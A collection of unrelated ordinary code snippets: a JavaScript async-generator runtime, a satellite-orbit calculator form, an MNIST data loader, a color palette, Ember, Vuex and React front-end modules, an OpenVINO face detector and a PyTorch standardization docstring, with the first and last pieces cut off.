var hasOwn = Op.hasOwnProperty;
var undefined; // More compressible than void 0.
var $Symbol = typeof Symbol === "function" ? Symbol : {};
var iteratorSymbol = $Symbol.iterator || "@@iterator";
var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag";
var inModule = typeof module === "object";
var runtime = global.regeneratorRuntime;
if (runtime) {
if (inModule) {
// If regeneratorRuntime is defined globally and we're in a module,
// make the exports object identical to regeneratorRuntime.
module.exports = runtime;
}
// Don't bother evaluating the rest of this file if the runtime was
// already defined globally.
return;
}
// Define the runtime globally (as expected by generated code) as either
// module.exports (if we're in a module) or a new, empty object.
runtime = global.regeneratorRuntime = inModule ? module.exports : {};
function wrap(innerFn, outerFn, self, tryLocsList) {
// If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator.
var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator;
var generator = Object.create(protoGenerator.prototype);
var context = new Context(tryLocsList || []);
// The ._invoke method unifies the implementations of the .next,
// .throw, and .return methods.
generator._invoke = makeInvokeMethod(innerFn, self, context);
return generator;
}
runtime.wrap = wrap;
// Try/catch helper to minimize deoptimizations. Returns a completion
// record like context.tryEntries[i].completion. This interface could
// have been (and was previously) designed to take a closure to be
// invoked without arguments, but in all the cases we care about we
// already have an existing method we want to call, so there's no need
// to create a new function object. We can even get away with assuming
// the method takes exactly one argument, since that happens to be true
// in every case, so we don't have to touch the arguments object. The
// only additional allocation required is the completion record, which
// has a stable shape and so hopefully should be cheap to allocate.
function tryCatch(fn, obj, arg) {
try {
return { type: "normal", arg: fn.call(obj, arg) };
} catch (err) {
return { type: "throw", arg: err };
}
}
var GenStateSuspendedStart = "suspendedStart";
var GenStateSuspendedYield = "suspendedYield";
var GenStateExecuting = "executing";
var GenStateCompleted = "completed";
// Returning this object from the innerFn has the same effect as
// breaking out of the dispatch switch statement.
var ContinueSentinel = {};
// Dummy constructor functions that we use as the .constructor and
// .constructor.prototype properties for functions that return Generator
// objects. For full spec compliance, you may wish to configure your
// minifier not to mangle the names of these two functions.
function Generator() {}
function GeneratorFunction() {}
function GeneratorFunctionPrototype() {}
// This is a polyfill for %IteratorPrototype% for environments that
// don't natively support it.
var IteratorPrototype = {};
IteratorPrototype[iteratorSymbol] = function () {
return this;
};
var getProto = Object.getPrototypeOf;
var NativeIteratorPrototype = getProto && getProto(getProto(values([])));
if (NativeIteratorPrototype &&
NativeIteratorPrototype !== Op &&
hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) {
// This environment has a native %IteratorPrototype%; use it instead
// of the polyfill.
IteratorPrototype = NativeIteratorPrototype;
}
var Gp = GeneratorFunctionPrototype.prototype =
Generator.prototype = Object.create(IteratorPrototype);
GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype;
GeneratorFunctionPrototype.constructor = GeneratorFunction;
GeneratorFunctionPrototype[toStringTagSymbol] =
GeneratorFunction.displayName = "GeneratorFunction";
// Helper for defining the .next, .throw, and .return methods of the
// Iterator interface in terms of a single ._invoke method.
function defineIteratorMethods(prototype) {
["next", "throw", "return"].forEach(function(method) {
prototype[method] = function(arg) {
return this._invoke(method, arg);
};
});
}
runtime.isGeneratorFunction = function(genFun) {
var ctor = typeof genFun === "function" && genFun.constructor;
return ctor
? ctor === GeneratorFunction ||
// For the native GeneratorFunction constructor, the best we can
// do is to check its .name property.
(ctor.displayName || ctor.name) === "GeneratorFunction"
: false;
};
runtime.mark = function(genFun) {
if (Object.setPrototypeOf) {
Object.setPrototypeOf(genFun, GeneratorFunctionPrototype);
} else {
genFun.__proto__ = GeneratorFunctionPrototype;
if (!(toStringTagSymbol in genFun)) {
genFun[toStringTagSymbol] = "GeneratorFunction";
}
}
genFun.prototype = Object.create(Gp);
return genFun;
};
// Within the body of any async function, `await x` is transformed to
// `yield regeneratorRuntime.awrap(x)`, so that the runtime can test
// `hasOwn.call(value, "__await")` to determine if the yielded value is
// meant to be awaited.
runtime.awrap = function(arg) {
return { __await: arg };
};
function AsyncIterator(generator) {
function invoke(method, arg, resolve, reject) {
var record = tryCatch(generator[method], generator, arg);
if (record.type === "throw") {
reject(record.arg);
} else {
var result = record.arg;
var value = result.value;
if (value &&
typeof value === "object" &&
hasOwn.call(value, "__await")) {
return Promise.resolve(value.__await).then(function(value) {
invoke("next", value, resolve, reject);
}, function(err) {
invoke("throw", err, resolve, reject);
});
}
return Promise.resolve(value).then(function(unwrapped) {
// When a yielded Promise is resolved, its final value becomes
// the .value of the Promise<{value,done}> result for the
// current iteration. If the Promise is rejected, however, the
// result for this iteration will be rejected with the same
// reason. Note that rejections of yielded Promises are not
// thrown back into the generator function, as is the case
// when an awaited Promise is rejected. This difference in
// behavior between yield and await is important, because it
// allows the consumer to decide what to do with the yielded
// rejection (swallow it and continue, manually .throw it back
// into the generator, abandon iteration, whatever). With
// await, by contrast, there is no opportunity to examine the
// rejection reason outside the generator function, so the
// only option is to throw it from the await expression, and
// let the generator function handle the exception.
result.value = unwrapped;
resolve(result);
}, reject);
}
}
if (typeof process === "object" && process.domain) {
invoke = process.domain.bind(invoke);
}
var previousPromise;
function enqueue(method, arg) {
function callInvokeWithMethodAndArg() {
return new Promise(function(resolve, reject) {
invoke(method, arg, resolve, reject);
});
}
return previousPromise =
// If enqueue has been called before, then we want to wait until
// all previous Promises have been resolved before calling invoke,
// so that results are always delivered in the correct order. If
// enqueue has not been called before, then it is important to
// call invoke immediately, without waiting on a callback to fire,
// so that the async generator function has the opportunity to do
// any necessary setup in a predictable way. This predictability
// is why the Promise constructor synchronously invokes its
// executor callback, and why async functions synchronously
// execute code before the first await. Since we implement simple
// async functions in terms of async generators, it is especially
// important to get this right, even though it requires care.
previousPromise ? previousPromise.then(
callInvokeWithMethodAndArg,
// Avoid propagating failures to Promises returned by later
// invocations of the iterator.
callInvokeWithMethodAndArg
) : callInvokeWithMethodAndArg();
}
// Define the unified helper method that is used to implement .next,
// .throw, and .return (see defineIteratorMethods).
this._invoke = enqueue;
}
defineIteratorMethods(AsyncIterator.prototype);
runtime.AsyncIterator = AsyncIterator;
// Note that simple async functions are implemented on top of
// AsyncIterator objects; they just return a Promise for the value of
// the final result produced by the iterator.
runtime.async = function(innerFn, outerFn, self, tryLocsList) {
var iter = new AsyncIterator(
wrap(innerFn, outerFn, self, tryLocsList)
);
return runtime.isGeneratorFunction(outerFn)
? iter // If outerFn is a generator, return the full iterator.
: iter.next().then(function(result) {
return result.done ? result.value : iter.next();
});
};
function makeInvokeMethod(innerFn, self, context) {
var state = GenStateSuspendedStart;
return function invoke(method, arg) {
if (state === GenStateExecuting) {
throw new Error("Generator is already running");
}
if (state === GenStateCompleted) {
if (method === "throw") {
throw arg;
}
// Be forgiving, per 25.3.3.3.3 of the spec:
// https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume
return doneResult();
}
while (true) {
var delegate = context.delegate;
if (delegate) {
if (method === "return" ||
(method === "throw" && delegate.iterator[method] === undefined)) {
// A return or throw (when the delegate iterator has no throw
// method) always terminates the yield* loop.
context.delegate = null;
// If the delegate iterator has a return method, give it a
// chance to clean up.
var returnMethod = delegate.iterator["return"];
if (returnMethod) {
var record = tryCatch(returnMethod, delegate.iterator, arg);
if (record.type === "throw") {
// If the return method threw an exception, let that
// exception prevail over the original return or throw.
method = "throw";
arg = record.arg;
continue;
}
}
if (method === "return") {
// Continue with the outer return, now that the delegate
// iterator has been terminated.
continue;
}
}
var record = tryCatch(
delegate.iterator[method],
delegate.iterator,
arg
);
if (record.type === "throw") {
context.delegate = null;
// Like returning generator.throw(uncaught), but without the
// overhead of an extra function call.
method = "throw";
arg = record.arg;
continue;
}
// Delegate generator ran and handled its own exceptions so
// regardless of what the method was, we continue as if it is
// "next" with an undefined arg.
method = "next";
arg = undefined;
var info = record.arg;
if (info.done) {
context[delegate.resultName] = info.value;
context.next = delegate.nextLoc;
} else {
state = GenStateSuspendedYield;
return info;
}
context.delegate = null;
}
if (method === "next") {
// Setting context._sent for legacy support of Babel's
// function.sent implementation.
context.sent = context._sent = arg;
} else if (method === "throw") {
if (state === GenStateSuspendedStart) {
state = GenStateCompleted;
throw arg;
}
if (context.dispatchException(arg)) {
// If the dispatched exception was caught by a catch block,
// then let that catch block handle the exception normally.
method = "next";
arg = undefined;
}
} else if (method === "return") {
context.abrupt("return", arg);
}
state = GenStateExecuting;
var record = tryCatch(innerFn, self, context);
if (record.type === "normal") {
// If an exception is thrown from innerFn, we leave state ===
// GenStateExecuting and loop back for another invocation.
state = context.done
? GenStateCompleted
: GenStateSuspendedYield;
var info = {
value: record.arg,
done: context.done
};
if (record.arg === ContinueSentinel) {
if (context.delegate && method === "next") {
// Deliberately forget the last sent value so that we don't
// accidentally pass it on to the delegate.
arg = undefined;
}
} else {
return info;
}
} else if (record.type === "throw") {
state = GenStateCompleted;
// Dispatch the exception by looping back around to the
// context.dispatchException(arg) call above.
method = "throw";
arg = record.arg;
}
}
};
}
// Define Generator.prototype.{next,throw,return} in terms of the
// unified ._invoke helper method.
defineIteratorMethods(Gp);
Gp[toStringTagSymbol] = "Generator";
Gp.toString = function() {
return "[object Generator]";
};
function pushTryEntry(locs) {
var entry = { tryLoc: locs[0] };
if (1 in locs) {
entry.catchLoc = locs[1];
}
if (2 in locs) {
entry.finallyLoc = locs[2];
entry.afterLoc = locs[3];
}
this.tryEntries.push(entry);
}
function resetTryEntry(entry) {
var record = entry.completion || {};
record.type = "normal";
delete record.arg;
entry.completion = record;
}
function Context(tryLocsList) {
// The root entry object (effectively a try statement without a catch
// or a finally block) gives us a place to store values thrown from
// locations where there is no enclosing try statement.
this.tryEntries = [{ tryLoc: "root" }];
tryLocsList.forEach(pushTryEntry, this);
this.reset(true);
}
runtime.keys = function(object) {
var keys = [];
for (var key in object) {
keys.push(key);
}
keys.reverse();
// Rather than returning an object with a next method, we keep
// things simple and return the next function itself.
return function next() {
while (keys.length) {
var key = keys.pop();
if (key in object) {
next.value = key;
next.done = false;
return next;
}
}
// To avoid creating an additional object, we just hang the .value
// and .done properties off the next function object itself. This
// also ensures that the minifier will not anonymize the function.
next.done = true;
return next;
};
};
function values(iterable) {
if (iterable) {
var iteratorMethod = iterable[iteratorSymbol];
if (iteratorMethod) {
return iteratorMethod.call(iterable);
}
if (typeof iterable.next === "function") {
return iterable;
}
if (!isNaN(iterable.length)) {
var i = -1, next = function next() {
while (++i < iterable.length) {
if (hasOwn.call(iterable, i)) {
next.value = iterable[i];
next.done = false;
return next;
}
}
next.value = undefined;
next.done = true;
return next;
};
return next.next = next;
}
}
// Return an iterator with no values.
return { next: doneResult };
}
runtime.values = values;
function doneResult() {
return { value: undefined, done: true };
}
Context.prototype = {
constructor: Context,
reset: function(skipTempReset) {
this.prev = 0;
this.next = 0;
// Resetting context._sent for legacy support of Babel's
// function.sent implementation.
this.sent = this._sent = undefined;
this.done = false;
this.delegate = null;
this.tryEntries.forEach(resetTryEntry);
if (!skipTempReset) {
for (var name in this) {
// Not sure about the optimal order of these conditions:
if (name.charAt(0) === "t" &&
hasOwn.call(this, name) &&
!isNaN(+name.slice(1))) {
this[name] = undefined;
}
}
}
},
stop: function() {
this.done = true;
var rootEntry = this.tryEntries[0];
var rootRecord = rootEntry.completion;
if (rootRecord.type === "throw") {
throw rootRecord.arg;
}
return this.rval;
},
dispatchException: function(exception) {
if (this.done) {
throw exception;
}
var context = this;
function handle(loc, caught) {
record.type = "throw";
record.arg = exception;
context.next = loc;
return !!caught;
}
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
var record = entry.completion;
if (entry.tryLoc === "root") {
// Exception thrown outside of any try block that could handle
// it, so set the completion value of the entire function to
// throw the exception.
return handle("end");
}
if (entry.tryLoc <= this.prev) {
var hasCatch = hasOwn.call(entry, "catchLoc");
var hasFinally = hasOwn.call(entry, "finallyLoc");
if (hasCatch && hasFinally) {
if (this.prev < entry.catchLoc) {
return handle(entry.catchLoc, true);
} else if (this.prev < entry.finallyLoc) {
return handle(entry.finallyLoc);
}
} else if (hasCatch) {
if (this.prev < entry.catchLoc) {
return handle(entry.catchLoc, true);
}
} else if (hasFinally) {
if (this.prev < entry.finallyLoc) {
return handle(entry.finallyLoc);
}
} else {
throw new Error("try statement without catch or finally");
}
}
}
},
abrupt: function(type, arg) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.tryLoc <= this.prev &&
hasOwn.call(entry, "finallyLoc") &&
this.prev < entry.finallyLoc) {
var finallyEntry = entry;
break;
}
}
if (finallyEntry &&
(type === "break" ||
type === "continue") &&
finallyEntry.tryLoc <= arg &&
arg <= finallyEntry.finallyLoc) {
// Ignore the finally entry if control is not jumping to a
// location outside the try/catch block.
finallyEntry = null;
}
var record = finallyEntry ? finallyEntry.completion : {};
record.type = type;
record.arg = arg;
if (finallyEntry) {
this.next = finallyEntry.finallyLoc;
} else {
this.complete(record);
}
return ContinueSentinel;
},
complete: function(record, afterLoc) {
if (record.type === "throw") {
throw record.arg;
}
if (record.type === "break" ||
record.type === "continue") {
this.next = record.arg;
} else if (record.type === "return") {
this.rval = record.arg;
this.next = "end";
} else if (record.type === "normal" && afterLoc) {
this.next = afterLoc;
}
},
finish: function(finallyLoc) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.finallyLoc === finallyLoc) {
this.complete(entry.completion, entry.afterLoc);
resetTryEntry(entry);
return ContinueSentinel;
}
}
},
"catch": function(tryLoc) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.tryLoc === tryLoc) {
var record = entry.completion;
if (record.type === "throw") {
var thrown = record.arg;
resetTryEntry(entry);
}
return thrown;
}
}
// The context.catch method must only be called with a location
// argument that corresponds to a known catch block.
throw new Error("illegal catch attempt");
},
delegateYield: function(iterable, resultName, nextLoc) {
this.delegate = {
iterator: values(iterable),
resultName: resultName,
nextLoc: nextLoc
};
return ContinueSentinel;
}
};
})(
// Among the various tricks for obtaining a reference to the global
// object, this seems to be the most reliable technique that does not
// use indirect eval (which violates Content Security Policy).
typeof global === "object" ? global :
typeof window === "object" ? window :
typeof self === "object" ? self : this
);
}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
},{}]},{},[1]);
|
// json body and system info
var dataList = [];
// remotetech antenna json info
var antList;
// main ish
var $form = {
container: document.getElementsByClassName('calcWrap'),
instructionButton: document.getElementById('instructionButton'),
doMaths: document.getElementById('doMaths'),
solSelect: document.getElementById('solSelect'),
bodySelect: document.getElementById('bodySelect'),
precInput: document.getElementById('precInput'),
satCount: document.getElementById('satCount'),
targBySelect: document.getElementById('targBySelect'),
targAltInput: document.getElementById('targAltInput'),
perDayInput: document.getElementById('perDayInput'),
perHourInput: document.getElementById('perHourInput'),
perMinInput: document.getElementById('perMinInput'),
perSecInput: document.getElementById('perSecInput'),
perInput: document.getElementsByClassName('perInputs'),
depPe: document.getElementById('depPe'),
depAp: document.getElementById('depAp'),
results: document.getElementById('results'),
help: document.getElementById('helpWrap'),
helpClose: document.getElementById('helpClose'),
optList: [],
snapOpt: [0, 0, 0, 0, 0]
};
// AJAX request for data file
$form.importData = function(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
var list = JSON.parse(xhr.responseText);
console.log(url + ' JSON data parsed.');
if (typeof callback === 'function') {
callback(list);
} else {
return list;
}
} else {
console.log(url + ' Elevator music...');
}
};
xhr.open('GET', url, true);
xhr.send();
};
// creates select options from data provided by json loops
// cycles over dataList, sets option names(looks at 'orbits' prop to see if its
// a sun or moon and sets a -/* accordingly), values for array lookups(option
// value is the key value of the corresponding bodydata object), and adds to
// either array or html select
$form.selectBuild = function(list, callback) {
dataList = list;
function crtOpt(val, txt, addLoc) {
var option = document.createElement('option');
option.value = val;
option.text = txt;
if (typeof addLoc.add === 'function') {
addLoc.add(option);
} else if (typeof addLoc.push === 'function') {
addLoc.push(option);
} else {
console.log('fail');
}
}
// creates opt and stores in an array
dataList.forEach(function(obj, index) {
crtOpt(index, obj.name, this.solSelect);
var bodyList = [];
dataList[index].bodys.forEach(function(array, ii) {
if (array.orbits === 'Sun') {
crtOpt(ii, array.bodyName, bodyList);
} else if (array.orbits === 0) {
crtOpt(ii, '* ' + array.bodyName + ' *', bodyList);
} else {
crtOpt(ii, ' -' + array.bodyName, bodyList);
}
});
$form.optList.push(bodyList);
});
console.log('Building select options from JSON data.');
if (typeof callback === 'function') {
callback();
} else {
return this;
}
};
|
from dataclasses import dataclass
from torch.utils.data import DataLoader
from torchvision.datasets.mnist import MNIST
import torchvision.transforms as T
MIRROR = "https://ossci-datasets.s3.amazonaws.com/mnist"
MNIST.resources = [
("/".join([MIRROR, url.split("/")[-1]]), md5)
for url, md5 in MNIST.resources
]
@dataclass
class MNISTDataset:
train = MNIST(
root="data",
train=True,
transform=T.Compose([T.RandomRotation(25), T.ToTensor()]),
download=True,
)
test = MNIST(
root="data",
train=False,
transform=T.ToTensor(),
download=True,
)
@dataclass
class MNISTLoader:
train = DataLoader(
MNISTDataset.train,
batch_size=32,
shuffle=True,
num_workers=4,
pin_memory=True,
)
test = DataLoader(
MNISTDataset.test,
batch_size=32,
shuffle=False,
num_workers=4,
pin_memory=True,
)
|
import { hexToRgb } from './Utils';
// const gray31 = '#4a4a4a';
// const gray43 = '#62666c';
const gray45 = '#686b6c';
// const gray51 = '#79797a';
const gray54 = '#7f818a';
const gray76 = '#bababb';
const gray86 = '#d4d8d9';
// const gray90 = '#e1e1e1';
const gray93 = '#e7eaec';
// const gray96 = '#f3f3f3';
const gray97 = '#f6f6f6';
const gray98 = '#fafafa';
const teal62 = '#197caa';//'#19aa8d';
const teal72 = '#00809c';//'#009c80';
const rgbTeal = hexToRgb(teal62);
const tealLight = `rgba(${rgbTeal}, 0.7)`;
const yellow76 = '#f8ac59';
const emphasisBackground = '#c8dfe8';
const red58 = '#ed5565';
const green69 = '#6daf95';
const blue95 = '#eff2f5';
const blue86 = '#ced9e3';
const blue82 = '#bacedf';
const blue54 = '#028cc0';
const blue30 = '#404c55';
const blue26 = '#263b4e';
const blue23 = '#293846';
const white = '#ffffff';
const black = '#000000';
//==============================================================================
// COLOR USAGE
//==============================================================================
const colors = {
white,
black,
ctaPrimary: teal62,
accentPrimary: teal62,
accentPrimaryLight: tealLight,
emphasisBackground,
accentSecondary: blue26,
accentPrimaryAlt: teal72,
warnPrimary: yellow76,
dangerPrimary: red58,
positive: green69,
neutral: gray76,
negative: red58,
backgroundLightest: white,
backgroundLight: gray97,
backgroundMain: gray93,
backgroundMainAccent: gray86,
backgroundDark: blue26,
backgroundDarkHover: blue23,
backgroundForm: white,
borderForm: gray86,
borderFormAccent: gray76,
borderDark: gray54,
borderMedium: gray86,
borderLight: gray93,
textPrimary: gray45,
textSecondary: white,
linksPrimary: blue26,
linksPrimaryHover: blue54,
navLinkBackground: blue86,
navFirstLevelBackground: blue82,
navLinkHoverBackground: blue95,
};
export default colors;
|
import { getOwner } from '@ember/application';
import Route from '@ember/routing/route';
import { inject as service } from '@ember/service';
export default class extends Route {
@service ddb;
@service filter;
@service history;
@service intl;
@service ws;
async beforeModel(transition) {
if (transition.to.queryParams.replay) {
let replay = getOwner(this).lookup('service:igc-replay');
await replay.start();
}
let locale = this.intl.negotiateLocale();
await this.intl.loadTranslations(locale);
this.intl.setLocale(locale);
}
afterModel() {
super.afterModel(...arguments);
// remove loading spinner from the page (see `index.html`)
let spinnner = document.querySelector('#initial-load-spinner');
if (spinnner) {
spinnner.classList.add('fade');
setTimeout(() => spinnner.remove(), 1500);
}
this.ddb.update();
this.ws.start();
}
}
|
from phrase_counter.word_graph import generate_word_graph
def test_simple_output_word_graph():
"""Simple output test for word graph"""
samlpe_text = "test number one"
output = generate_word_graph(samlpe_text)
assert output
|
import axios from "axios"
const state = {
showAppUserForm: false,
newAppUser: false,
// readOnlyAcc: false,
savedAppUser: false,
editedAppUserIndex: -1,
editedAppUser: {
id: 0,
username: "",
email: "",
password: "",
isAdmin: false,
hasDevAccount: false,
devAccountId: 0,
devAccountUsername: ""
},
defaultAppUser: {
id: 0,
username: "",
email: "",
password: "",
isAdmin: false,
hasDevAccount: false,
devAccountId: 0,
devAccountUsername: ""
}
}
const getters = {
AppUserShowForm: state => state.showAppUserForm,
AppUserNew: state => state.newAppUser,
// DevReadOnlyAcc: state => state.readOnlyAcc,
AppUserCurrentItem: state => state.editedAppUser,
AppUserCurrentIndex: state => state.editedAppUserIndex,
AppUserDefault: state => state.defaultAppUser,
AppUserHasBeenSaved: state => state.savedAppUser,
}
const actions = {
async OpenAppUserDialog ({ commit, AppUserDefault }, appUserParams) {
if (appUserParams.editedItem === null)
commit("setAppUserCurrentItem", AppUserDefault)
else
// Obtain devacc name
if (appUserParams.editedItem.hasDevAccount) {
appUserParams.editedItem.devAccountUsername = await getDevAccUsername(appUserParams.editedItem.devAccountId)
}
commit("setAppUserCurrentItem", appUserParams.editedItem)
commit("setNewAppUser", appUserParams.new)
commit("setAppUserCurrentIndex", appUserParams.currentIndex)
commit("showFormAppUser", true)
}
}
const mutations = {
setAppUserCurrentItem (state, appUser) {state.editedAppUser = Object.assign({}, appUser) },
setAppUserCurrentIndex (state, currentIndex) { state.editedAppUserIndex = currentIndex },
setNewAppUser (state, newAppUser) { state.newAppUser = newAppUser },
// setReadOnlyAcc (state, readOnlyAcc) { state.readOnlyAcc = readOnlyAcc },
showFormAppUser (state, show) { state.showAppUserForm = show },
setAppUserHasBeenSaved (state, saved) { state.savedAppUser = saved },
}
async function getDevAccUsername(devAccountId) {
let devAccUsername = ""
try {
var res = await axios.get("auth/accounts?accountid="+devAccountId)
devAccUsername = res.data[0].username
} catch (err) { err => { if (err) { /* do nothing */ }} }
return devAccUsername
}
export default {
state,
getters,
actions,
mutations
}
|
module.exports = Toast = () => ({
".toast": {
padding: "0.7rem",
paddingLeft: "0.9rem",
borderRadius: "0.375rem",
fontSize: "0.875rem",
overflow: "hidden",
maxWidth: "24rem",
flexBasis: "24rem",
zIndex: "50",
},
});
|
import sys
import numpy
import cv2
import time
from openvino.inference_engine import IENetwork, IECore
class FaceDetector():
def __init__(self, threshold = 0.5, face_ir = 'face-detection-retail-0004.xml'):
# Setup Plugin and Network
start_time = time.time()
self.cur_request_id = 0
self.detection_threshold = threshold
# Select the myriad plugin and IRs to be used
ie = IECore()
face_net = IENetwork(model = face_ir, weights = face_ir[:-3] + 'bin')
# Get the input and output node names
self.face_input_blob = next(iter(face_net.inputs))
self.face_output_blob = next(iter(face_net.outputs))
# Get the input and output shapes from the input/output nodes
face_input_shape = face_net.inputs[self.face_input_blob].shape
face_output_shape = face_net.outputs[self.face_output_blob].shape
self.face_n, self.face_c, self.face_h, self.face_w = face_input_shape
face_x, face_y, face_detections_count, face_detections_size = face_output_shape
# Load the network and get the network shape information
self.face_exec_net = ie.load_network(network = face_net, device_name = "MYRIAD")
end_time = time.time()
print(f'Loaded network in {(end_time - start_time)}')
def get_faces(self, frame):
faces = []
start_time = time.time()
image_w = frame.shape[1]
image_h = frame.shape[0]
# Image preprocessing
image_to_classify = cv2.resize(frame, (self.face_w, self.face_h))
image_to_classify = numpy.transpose(image_to_classify, (2, 0, 1))
image_to_classify = image_to_classify.reshape((self.face_n, self.face_c, self.face_h, self.face_w))
end_time = time.time()
print(f'Preprocessed image in {(end_time - start_time)}')
start_time = time.time()
# queue the inference
self.face_exec_net.start_async(request_id=self.cur_request_id, inputs={self.face_input_blob: image_to_classify})
# wait for inference to complete
if self.face_exec_net.requests[self.cur_request_id].wait(-1) == 0:
end_time = time.time()
print(f'Feed-forward complete in {(end_time - start_time)}')
# get the inference result
inference_results = self.face_exec_net.requests[self.cur_request_id].outputs[self.face_output_blob]
for face_num, detection_result in enumerate(inference_results[0][0]):
if detection_result[2] > self.detection_threshold:
box_left = int(detection_result[3] * image_w)
box_top = int(detection_result[4] * image_h)
box_right = int(detection_result[5] * image_w)
box_bottom = int(detection_result[6] * image_h)
class_id = int(detection_result[1])
faces.append(((box_left, box_top), (box_right, box_bottom)))
return faces
|
import CreatableSelect from 'react-select/creatable';
import {parametersOptions, parametersValues} from "../../data/data";
const initialstate = {
definitionId: '',
configurationId: '',
message: null,
description: '',
parameters: new Map(),
possibleParameterName: '',
possibleParameterValue: '',
}
class AddTestRequest extends React.Component {
constructor(props) {
super(props)
this.state = initialstate;
this.state.definitionId = this.props.id;
this.onChange = this.onChange.bind(this);
this.onParameterNameChange = this.onParameterNameChange.bind(this);
this.onParameterValueChange = this.onParameterValueChange.bind(this);
this.onSubmit = this.onSubmit.bind(this);
this.addParameters = this.addParameters.bind(this);
this.removeParameters = this.removeParameters.bind(this);
this.generateRequest = this.generateRequest.bind(this);
};
onParameterValueChange(value, action) {
if (action.action === 'select-option' || action.action
=== 'create-option') {
this.setState(
{possibleParameterValue: value.value});
}
if (action.action === 'clear') {
this.setState(
{possibleParameterValue: ''});
}
}
onParameterNameChange(value, action) {
if (action.action === 'select-option' || action.action
=== 'create-option') {
this.setState(
{possibleParameterName: value.value});
}
if (action.action === 'clear') {
this.setState(
{possibleParameterName: ''});
}
}
onChange(e) {
if (e.target.id === 'definitionIdInput') {
this.setState({definitionId: e.target.value});
} else if (e.target.id === 'descriptionInput') {
this.setState({description: e.target.value});
} else if (e.target.id === 'configurationInput') {
this.setState({configurationId: e.target.value});
}
}
validate(state) {
return state.definitionId !== '';
}
onSubmit(e) {
e.preventDefault();
if (this.validate(this.state)) {
fetch(process.env.kabassuServer + "/kabassu/test/run", {
method: 'POST',
crossDomain: true,
mode: 'cors',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer '+ process.env.token,
},
body: JSON.stringify(this.generateRequest())
});
this.setState({
definitionId: '',
configurationId: '',
parameters: new Map(),
message: <div className="alert alert-success" role="alert">
Request send
</div>
});
} else {
this.setState({
message: <div className="alert alert-danger" role="alert">
Wrong request
</div>
});
}
}
addParameters(e) {
if (this.state.possibleParameterName !== null
&& this.state.possibleParameterName !== '') {
this.state.parameters.set(this.state.possibleParameterName,
this.state.possibleParameterValue);
this.setState({
possibleParameterName: '',
possibleParameterValue: ''
})
}
}
removeParameters(e) {
this.state.parameters.delete(e.target.value);
this.setState({
parameters: this.state.parameters,
possibleParameterName: '',
possibleParameterValue: ''
})
}
generateRequest() {
var request = {
definitionId: this.state.definitionId,
description: this.state.description,
configurationId: this.state.configurationId,
additionalParameters: {},
}
this.state.parameters.forEach(function (value, key) {
request.additionalParameters[key] = value
})
return request
}
render() {
let addedParameters = Array.from(this.state.parameters, ([key, value]) =>
<tr key={key}>
<td>{key}</td>
<td>{value}</td>
<td>
<button type="button" className="btn-danger"
onClick={this.removeParameters} value={key}><i
className="fa fa-remove"/></button>
</td>
</tr>
);
return (<>
{this.state.message}
<form onChange={this.onChange} onSubmit={this.onSubmit}>
<div className="form-group">
<label htmlFor="definitionIdInput">Definition Id</label>
<input type="text" className="form-control"
id="definitionIdInput" aria-describedby="definitionIdHelp"
placeholder="Enter definition id"
value={this.state.definitionId}/>
<small id="definitionIdHelp" className="form-text text-muted">
Enter existing definition Id
</small>
</div>
<div className="form-group">
<label htmlFor="descriptionInput">Description</label>
<textarea id="descriptionInput" className="form-control"
rows="4"></textarea>
</div>
<div className="form-group">
<label htmlFor="configurationInput">Configuration Id</label>
<input type="text" className="form-control"
id="configurationInput"
aria-describedby="configurationHelp"
placeholder="Enter configuration id"
value={this.state.configurationId}/>
<small id="configurationHelp" className="form-text text-muted">
Enter existing configuration Id
</small>
</div>
<div className="form-group">
<label htmlFor="definitionsInput">Additional Parameters</label>
<table className="table table-hover table-bordered">
<thead className="thead-dark">
<tr>
<th>Parameter name</th>
<th>Parameter value</th>
<th></th>
</tr>
</thead>
<tbody>{addedParameters}</tbody>
</table>
<div className="form-row">
<div className="col">
<CreatableSelect
isClearable
onChange={this.onParameterNameChange}
onInputChange={this.onParameterNameChange}
options={parametersOptions}
/>
</div>
<div className="col">
<CreatableSelect
isClearable
onChange={this.onParameterValueChange}
onInputChange={this.onParameterValueChange}
options={parametersValues.get(this.state.possibleParameterName)}
/>
</div>
<div className="col">
<button type="button" className="btn btn-info btn-flat"
onClick={this.addParameters}>Add parameter
</button>
</div>
</div>
</div>
<button type="submit" className="btn btn-primary">Submit</button>
</form>
</>
);
}
}
export default AddTestRequest
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2019-07-24 18:29:48
# @Author : Zhi Liu (zhiliu.mind@gmail.com)
# @Link : http://iridescent.ink
# @Version : $1.0$
import torch as th
from torchsar.utils.const import EPS
class Standardization(th.nn.Module):
r"""Standardization
.. math::
\bar{X} = \frac{X-\mu}{\sigma}
Parameters
----------
X : Tensor
data to be normalized,
mean : list or None, optional
mean value (the default is None, which means auto computed)
std : list or None, optional
Standard deviation (the default is None, which means auto computed)
axis : list or int, optional
Specify the axis for computing mean and standard deviation (the default is None, which means all elements)
unbiased : bool, optional
If unbiased is False, then the standard-deviation will be calculated via the biased estimator. Otherwise, Bessel’s correction will be used.
extra : bool, optional
If True, also return the mean and std (the default is False, which means just return the standardized data)
Examples
----------
::
import torchsar as ts
ts.setseed(seed=2020, target='torch')
x = th.randn(5, 2, 4, 3)
f = Standardization(axis=(2, 3), unbiased=False, extra=True)
y, meanv, stdv = f(x)
print(y[0], y.shape)
g = th.nn.InstanceNorm2d(2)
z = g(x)
print(z[0], z.shape)
f = Standardization(axis=(0, 2, 3), unbiased=False, extra=True)
y, meanv, stdv = f(x)
print(y[0], y.shape)
g = th.nn.BatchNorm2d(2)
z = g(x)
